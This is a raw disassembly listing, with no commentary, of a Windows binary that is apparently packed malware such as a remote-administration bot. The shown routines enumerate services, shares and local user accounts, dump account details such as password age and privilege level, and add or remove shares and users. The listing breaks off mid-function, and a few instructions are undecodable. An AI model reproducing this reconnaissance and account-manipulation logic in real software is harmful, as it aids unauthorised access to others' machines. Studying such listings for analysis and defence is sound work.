lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_419284
loc_41931E: ; CODE XREF: sub_419201+77j
cmp [ebp+var_8], ebx
jnz loc_419239
loc_419327: ; CODE XREF: sub_419201+6Cj
push [ebp+var_C]
call dword_4D10E8 ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_419201 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41933E proc near ; CODE XREF: .nsp0:loc_4060B0p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_4193D7
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_419367
dec eax
jnz short loc_4193B7
push edi
push 0
call sub_419510
pop ecx
pop ecx
jmp short loc_4193B3
; ---------------------------------------------------------------------------
loc_419367: ; CODE XREF: sub_41933E+18j
cmp [ebp+arg_8], 0
jnz short loc_4193A5
push 24h
push edi
call sub_41C650
pop ecx
test eax, eax
pop ecx
jnz short loc_4193A5
push 57h
pop eax
loc_41937E: ; CODE XREF: sub_41933E+77j
push eax
call sub_419CE8
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4E0E6C
push off_440C48[eax*4]
push offset unk_4412F4
push esi
call sub_41BF36
add esp, 18h
jmp short loc_4193F7
; ---------------------------------------------------------------------------
loc_4193A5: ; CODE XREF: sub_41933E+2Dj
; sub_41933E+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_419464
add esp, 0Ch
loc_4193B3: ; CODE XREF: sub_41933E+27j
test eax, eax
jnz short loc_41937E
loc_4193B7: ; CODE XREF: sub_41933E+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4E0E6C
push off_440C4C[eax*4]
push offset dword_4412D8
push esi
call sub_41BF36
add esp, 10h
jmp short loc_4193F7
; ---------------------------------------------------------------------------
loc_4193D7: ; CODE XREF: sub_41933E+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4E0E6C
lea eax, [eax+eax*2]
push off_440C48[eax*4]
push offset unk_4412B4
push esi
call sub_41BF36
add esp, 0Ch
loc_4193F7: ; CODE XREF: sub_41933E+65j
; sub_41933E+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_41933E endp
; =============== S U B R O U T I N E =======================================
sub_4193FD proc near ; CODE XREF: sub_41A702+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_41940A
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_41940A: ; CODE XREF: sub_4193FD+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_427180
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; dword_427180
test byte_4E106C, 1
mov ebp, eax
jnz short loc_419447
or byte_4E106C, 1
lea eax, [ebp+1]
push eax
call sub_41D665
pop ecx
mov dword_4E0E0C, eax
loc_419447: ; CODE XREF: sub_4193FD+32j
push esi
push esi
push ebp
push dword_4E0E0C
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; dword_427180
mov eax, dword_4E0E0C
pop edi
pop ebp
pop ebx
pop esi
retn
sub_4193FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419464 proc near ; CODE XREF: sub_41933E+6Dp
; sub_41AA26+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_4194CF
push [ebp+arg_4]
mov edi, eax
call sub_4194CF
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_41C650
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_4194CF
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4D10E4
pop edi
leave
retn
sub_419464 endp
; =============== S U B R O U T I N E =======================================
sub_4194CF proc near ; CODE XREF: sub_419464+Ap
; sub_419464+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_4194DC
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4194DC: ; CODE XREF: sub_4194CF+9j
push ebx
push esi
mov esi, dword_427184
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; dword_427184
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41D665
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; dword_427184
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_4194CF endp
; =============== S U B R O U T I N E =======================================
sub_419510 proc near ; CODE XREF: sub_41933E+20p
; sub_41A702+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4194CF
push [esp+8+arg_4]
mov esi, eax
call sub_4194CF
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4D10BC
pop esi
retn
sub_419510 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419533 proc near ; CODE XREF: .nsp0:004060DCp
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_4194CF
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 18h
loc_41956C: ; CODE XREF: sub_419533+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4D1134
mov ebx, eax
cmp ebx, esi
jz short loc_4195CF
cmp ebx, 0EAh
jz short loc_4195CF
push ebx
push ebx
call sub_419CE8
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_441340
push eax
call sub_41BF36
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 24h
jmp short loc_41963C
; ---------------------------------------------------------------------------
loc_4195CF: ; CODE XREF: sub_419533+5Dj
; sub_419533+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_419633
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_4195DD: ; CODE XREF: sub_419533+FCj
push dword ptr [esi+10h]
call dword_4D10D8 ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_4195F4
mov eax, offset aNo ; "No"
loc_4195F4: ; CODE XREF: sub_419533+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_4195DD
xor esi, esi
loc_419633: ; CODE XREF: sub_419533+A2j
push [ebp+var_4]
call dword_4D1280
loc_41963C: ; CODE XREF: sub_419533+9Aj
cmp ebx, 0EAh
jz loc_41956C
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_419533 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419654 proc near ; CODE XREF: .nsp0:loc_406151p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_4196F8
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_419696
dec eax
jz short loc_41968B
dec eax
jnz short loc_4196B1
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_41979A
add esp, 14h
jmp short loc_4196AD
; ---------------------------------------------------------------------------
loc_41968B: ; CODE XREF: sub_419654+1Dj
push ebx
push edi
call sub_419779
pop ecx
pop ecx
jmp short loc_4196AD
; ---------------------------------------------------------------------------
loc_419696: ; CODE XREF: sub_419654+1Aj
cmp [ebp+arg_8], edi
jz short loc_4196AA
push [ebp+arg_8]
push ebx
push edi
call sub_41971F
add esp, 0Ch
jmp short loc_4196AD
; ---------------------------------------------------------------------------
loc_4196AA: ; CODE XREF: sub_419654+45j
push 57h
pop eax
loc_4196AD: ; CODE XREF: sub_419654+35j
; sub_419654+40j ...
cmp eax, edi
jnz short loc_4196D1
loc_4196B1: ; CODE XREF: sub_419654+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4E1070
push off_440C4C[eax*4]
push offset unk_4413F8
push esi
call sub_41BF36
add esp, 10h
jmp short loc_419718
; ---------------------------------------------------------------------------
loc_4196D1: ; CODE XREF: sub_419654+5Bj
push eax
call sub_419CE8
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4E1070
push off_440C48[eax*4]
push offset unk_4413C8
push esi
call sub_41BF36
add esp, 18h
jmp short loc_419718
; ---------------------------------------------------------------------------
loc_4196F8: ; CODE XREF: sub_419654+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4E1070
lea eax, [eax+eax*2]
push off_440C48[eax*4]
push offset unk_4413A0
push esi
call sub_41BF36
add esp, 0Ch
loc_419718: ; CODE XREF: sub_419654+7Bj
; sub_419654+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_419654 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41971F proc near ; CODE XREF: sub_419654+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_4194CF
push [ebp+arg_4]
mov edi, eax
call sub_4194CF
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_4194CF
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4D10C8
pop edi
leave
retn
sub_41971F endp
; =============== S U B R O U T I N E =======================================
sub_419779 proc near ; CODE XREF: sub_419654+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4194CF
push [esp+8+arg_4]
mov esi, eax
call sub_4194CF
pop ecx
pop ecx
push eax
push esi
call dword_4D10B8
pop esi
retn
sub_419779 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41979A proc near ; CODE XREF: sub_419654+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_4194CF
push [ebp+arg_4]
mov esi, eax
call sub_4194CF
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4D1248
test eax, eax
mov [ebp+arg_0], eax
jnz loc_419B27
mov eax, [ebp+var_4]
test eax, eax
jz loc_419B62
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41BF36
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4099D2
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4099D2
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4099D2
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4099D2
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_4198B3
dec eax
jz short loc_4198AC
dec eax
jz short loc_4198A5
mov eax, offset aUnknown ; "Unknown"
jmp short loc_4198B8
; ---------------------------------------------------------------------------
loc_4198A5: ; CODE XREF: sub_41979A+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_4198B8
; ---------------------------------------------------------------------------
loc_4198AC: ; CODE XREF: sub_41979A+FFj
mov eax, offset aUser_1 ; "User"
jmp short loc_4198B8
; ---------------------------------------------------------------------------
loc_4198B3: ; CODE XREF: sub_41979A+FCj
mov eax, offset aGuest ; "Guest"
loc_4198B8: ; CODE XREF: sub_41979A+109j
; sub_41979A+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4099D2
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4099D2
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4099D2
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4099D2
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4099D2
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4099D2
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4099D2
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4099D2
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4099D2
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4099D2
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4099D2
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4099D2
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4099D2
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4099D2
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_4099D2
add esp, 20h
pop edi
pop ebx
jmp short loc_419B53
; ---------------------------------------------------------------------------
loc_419B27: ; CODE XREF: sub_41979A+35j
push eax
lea eax, [ebp+var_204]
push offset unk_441418
push eax
call sub_41BF36
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_4099D2
add esp, 20h
loc_419B53: ; CODE XREF: sub_41979A+38Bj
cmp [ebp+var_4], 0
jz short loc_419B62
push [ebp+var_4]
call dword_4D1280
loc_419B62: ; CODE XREF: sub_41979A+40j
; sub_41979A+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_41979A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B68 proc near ; CODE XREF: .nsp0:0040617Dp
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_4194CF
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 18h
loc_419BA7: ; CODE XREF: sub_419B68+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4D1150
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_419C08
cmp eax, 0EAh
jz short loc_419C08
push eax
push eax
call sub_419CE8
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_4415F8
push eax
call sub_41BF36
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 24h
jmp short loc_419C83
; ---------------------------------------------------------------------------
loc_419C08: ; CODE XREF: sub_419B68+62j
; sub_419B68+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_419C96
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_419C83
loc_419C1A: ; CODE XREF: sub_419B68+EDj
cmp edi, esi
jz short loc_419C59
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_6 ; " %S"
push eax
call sub_41BF36
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_419C1A
jmp short loc_419C83
; ---------------------------------------------------------------------------
loc_419C59: ; CODE XREF: sub_419B68+B4j
lea eax, [ebp+var_218]
push offset unk_4415C4
push eax
call sub_41BF36
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 1Ch
loc_419C83: ; CODE XREF: sub_419B68+9Ej
; sub_419B68+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_419C96
push edi
call dword_4D1280
xor edi, edi
mov [ebp+var_4], edi
loc_419C96: ; CODE XREF: sub_419B68+A5j
; sub_419B68+120j
cmp [ebp+var_C], 0EAh
jz loc_419BA7
cmp edi, esi
jz short loc_419CAE
push edi
call dword_4D1280
loc_419CAE: ; CODE XREF: sub_419B68+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41BF36
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_419B68 endp
; =============== S U B R O U T I N E =======================================
sub_419CE8 proc near ; CODE XREF: sub_41933E+41p
; sub_419533+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_419D9A
jz loc_419D93
cmp eax, 7Bh
ja short loc_419D5F
jz short loc_419D55
cmp eax, 5
jz short loc_419D4B
cmp eax, 8
jz short loc_419D41
cmp eax, 32h
jz short loc_419D37
cmp eax, 35h
jz short loc_419D2D
cmp eax, 57h
jnz loc_419DE9
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_419E0A
; ---------------------------------------------------------------------------
loc_419D2D: ; CODE XREF: sub_419CE8+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_419E0A
; ---------------------------------------------------------------------------
loc_419D37: ; CODE XREF: sub_419CE8+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_419E0A
; ---------------------------------------------------------------------------
loc_419D41: ; CODE XREF: sub_419CE8+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_419E0A
; ---------------------------------------------------------------------------
loc_419D4B: ; CODE XREF: sub_419CE8+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_419E0A
; ---------------------------------------------------------------------------
loc_419D55: ; CODE XREF: sub_419CE8+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_419E0A
; ---------------------------------------------------------------------------
loc_419D5F: ; CODE XREF: sub_419CE8+1Aj
sub eax, 7Ch
jz short loc_419D8C
sub eax, 7C8h
jz short loc_419D85
dec eax
jz short loc_419D7B
dec eax
jnz short loc_419DE9
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_419E0A
; ---------------------------------------------------------------------------
loc_419D7B: ; CODE XREF: sub_419CE8+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_419E0A
; ---------------------------------------------------------------------------
loc_419D85: ; CODE XREF: sub_419CE8+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_419E0A
; ---------------------------------------------------------------------------
loc_419D8C: ; CODE XREF: sub_419CE8+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_419E0A
; ---------------------------------------------------------------------------
loc_419D93: ; CODE XREF: sub_419CE8+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_419E0A
; ---------------------------------------------------------------------------
loc_419D9A: ; CODE XREF: sub_419CE8+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_419DD3
jz short loc_419DCC
sub eax, 8ADh
jz short loc_419DFE
dec eax
dec eax
jz short loc_419DC5
dec eax
jz short loc_419DBE
dec eax
dec eax
jnz short loc_419DE9
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_419E0A
; ---------------------------------------------------------------------------
loc_419DBE: ; CODE XREF: sub_419CE8+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_419E0A
; ---------------------------------------------------------------------------
loc_419DC5: ; CODE XREF: sub_419CE8+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_419E0A
; ---------------------------------------------------------------------------
loc_419DCC: ; CODE XREF: sub_419CE8+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_419E0A
; ---------------------------------------------------------------------------
loc_419DD3: ; CODE XREF: sub_419CE8+B9j
sub eax, 8CAh
jz short loc_419E05
sub eax, 17h
jz short loc_419DFE
sub eax, 25h
jz short loc_419DF7
sub eax, 29h
jz short loc_419DF0
loc_419DE9: ; CODE XREF: sub_419CE8+35j
; sub_419CE8+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_419E0A
; ---------------------------------------------------------------------------
loc_419DF0: ; CODE XREF: sub_419CE8+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_419E0A
; ---------------------------------------------------------------------------
loc_419DF7: ; CODE XREF: sub_419CE8+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_419E0A
; ---------------------------------------------------------------------------
loc_419DFE: ; CODE XREF: sub_419CE8+C2j
; sub_419CE8+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_419E0A
; ---------------------------------------------------------------------------
loc_419E05: ; CODE XREF: sub_419CE8+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_419E0A: ; CODE XREF: sub_419CE8+40j
; sub_419CE8+4Aj ...
push offset dword_4E0E10
call sub_41BF36
pop ecx
mov eax, offset dword_4E0E10
pop ecx
retn
sub_419CE8 endp
; ---------------------------------------------------------------------------
loc_419E1C: ; CODE XREF: .nsp0:004061C3p
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push dword ptr [ebp+8]
lea eax, [ebp-718h]
push eax
call sub_41DF04
add esp, 0Ch
lea eax, [ebp+8]
mov esi, 108h
push eax
lea eax, [ebp-108h]
push eax
mov [ebp+8], esi
call near ptr 0B40000h
sbb al, 8Dh
test edi, eax
; ---------------------------------------------------------------------------
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
push esi
push eax
lea eax, [ebp-318h]
push eax
call sub_41DF04
lea eax, [ebp-718h]
push eax
call sub_41DEE7
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp-718h]
push eax
lea eax, [ebp-318h]
push 0
push eax
push 0
call dword_4D1200
test eax, eax
jnz short loc_419EAC
mov esi, offset dword_4E0C0C
push offset unk_44192C
push esi
call sub_41BF36
pop ecx
pop ecx
jmp short loc_419ED5
; ---------------------------------------------------------------------------
loc_419EAC: ; CODE XREF: .nsp0:00419E96j
lea ecx, [ebp-718h]
push ecx
lea ecx, [ebp-318h]
push ecx
push eax
call sub_419CE8
pop ecx
mov esi, offset dword_4E0C0C
push eax
push offset dword_441900
push esi
call sub_41BF36
add esp, 14h
loc_419ED5: ; CODE XREF: .nsp0:00419EAAj
mov eax, esi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419EDA proc near ; CODE XREF: sub_417517+45p
; sub_417517+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call near ptr 0B40000h
xchg eax, edx
push eax
call dword_4D11D4 ; OpenProcessToken
test eax, eax
jnz short loc_419EF9
leave
retn
; ---------------------------------------------------------------------------
loc_419EF9: ; CODE XREF: sub_419EDA+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
